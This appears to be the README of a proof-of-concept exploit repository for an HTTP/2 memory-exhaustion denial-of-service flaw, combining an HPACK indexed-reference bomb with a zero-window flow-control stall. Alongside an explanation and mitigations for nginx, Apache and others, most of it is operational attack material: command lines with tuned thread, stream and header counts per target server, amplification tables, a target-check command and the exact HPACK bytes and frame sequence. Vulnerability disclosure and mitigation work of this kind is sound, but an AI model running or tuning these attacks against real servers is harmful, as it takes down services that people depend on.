Proof-of-concept exploit for CVE-2026-49975, a remote denial-of-service vulnerability in HTTP/2 server implementations. Discovered by Quang Luong (Calif Security Research), disclosed June 2, 2026.
For authorized security testing only. Do not use against infrastructure you do not own or have written permission to test.
How It Works
The attack chains two HTTP/2 protocol mechanisms:
1. HPACK Indexed Reference Bomb
HPACK (RFC 7541) lets senders reference previously-seen headers by index — usually one byte. The exploit inserts a nearly-empty header into the dynamic table once, then references it thousands of times. Each 1-byte wire reference forces the server to allocate ~70 bytes of internal bookkeeping per entry. No large values are involved, so "max decoded header size" limits never fire.
2. HTTP/2 Flow-Control Window Stall
By advertising a zero-byte receive window, the attacker prevents the server from sending its response or freeing any memory. Periodic 1-byte WINDOW_UPDATE frames reset the server's send timeout, keeping allocations pinned for as long as the connection is open.
Result: ~16 KB sent per stream → ~1.15 MB server RAM allocated and held per stream.
Affected Servers
| Server | Amplification | Demo Impact | Status |
|---|---|---|---|
| Envoy 1.37.2 | ~5,700:1 | 32 GB in ~10s | No patch at disclosure |
| Apache httpd 2.4.67 | ~4,000:1 | 32 GB in ~18s | Fixed in mod_http2 v2.0.41 |
| nginx < 1.29.8 | ~70:1 | 32 GB in ~45s | Fixed in nginx 1.29.8 |
| Microsoft IIS (WS 2025) | ~68:1 | 64 GB in ~45s | No patch at disclosure |
| Cloudflare Pingora | ~68:1 | — | No patch at disclosure |
Usage
No dependencies — stdlib only.
# Basic test (single connection)
python3 exploit-test.py target.com 443
# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl
Arguments
| Flag | Default | Description |
|---|---|---|
target |
— | Hostname or IP |
port |
443 | TCP port |
--threads |
1 | Parallel connections (each reconnects on close) |
--streams |
10 | HTTP/2 streams per connection |
--headers |
5000 | HPACK indexed references per stream |
--mode |
nginx | nginx (bookkeeping, 70:1) or classic (large value, 4000:1) |
--no-ssl |
off | Disable TLS (h2c) |
RAM Pressure Estimate
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB
Optimal Settings by Target
| Target | Mode | --headers |
Notes |
|---|---|---|---|
| nginx < 1.29.8 | nginx |
16374 |
Stays within default http2_max_header_size 16k |
| Apache httpd | classic |
5000 |
Cookie crumb technique |
| Envoy | classic |
32000 |
High amplification |
Check If a Target Is Vulnerable
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# Vulnerable if:
# - ALPN: server accepted h2 (HTTP/2 enabled)
# - server: nginx/X.Y.Z (where X.Y.Z < 1.29.8)
Mitigations
nginx — upgrade to 1.29.8+ and add:
http2 max_headers 1000;
Or disable HTTP/2 entirely:
# Remove "http2" from listen directive
listen 443 ssl;
Apache httpd — upgrade mod_http2 to v2.0.41+. Interim: Protocols http/1.1
IIS / Envoy / Pingora — no patch available at time of writing. Disable HTTP/2 or front with a patched proxy.
General (all servers):
# Cap worker memory to limit blast radius
ulimit -v 2097152 # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"
Technical Details
HPACK Encoding
Dynamic table seed (incremental indexing, adds to index 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
Indexed reference to entry 62 (1 byte each):
0x80 | 62 = 0xbe
Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes
HTTP/2 Frame Sequence
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← bomb payload (pseudo-headers + HPACK bomb)
HEADERS [stream 3] ← bomb payload
...
WINDOW_UPDATE(1) per stream / 1s (keep-alive stall)
Files
| File | Description |
|---|---|
exploit-test.py |
Main PoC — multi-stream, continuous reconnect, nginx + classic modes |
SECURITY-REPORT-MIST.md |
Authorized assessment report for mist.ac.bd |
LICENSE |
MIT |
References
- CVE-2026-49975
- RFC 7541 §7.3 — HPACK Memory Consumption
- RFC 9113 §8.2.3 — Cookie header splitting
- CVE-2016-6581 — Original HPACK Bomb (Cory Benfield, 2016)
- CVE-2025-53020 — Apache HPACK 4000:1 (Gal Bar Nahum, 2025)
Comments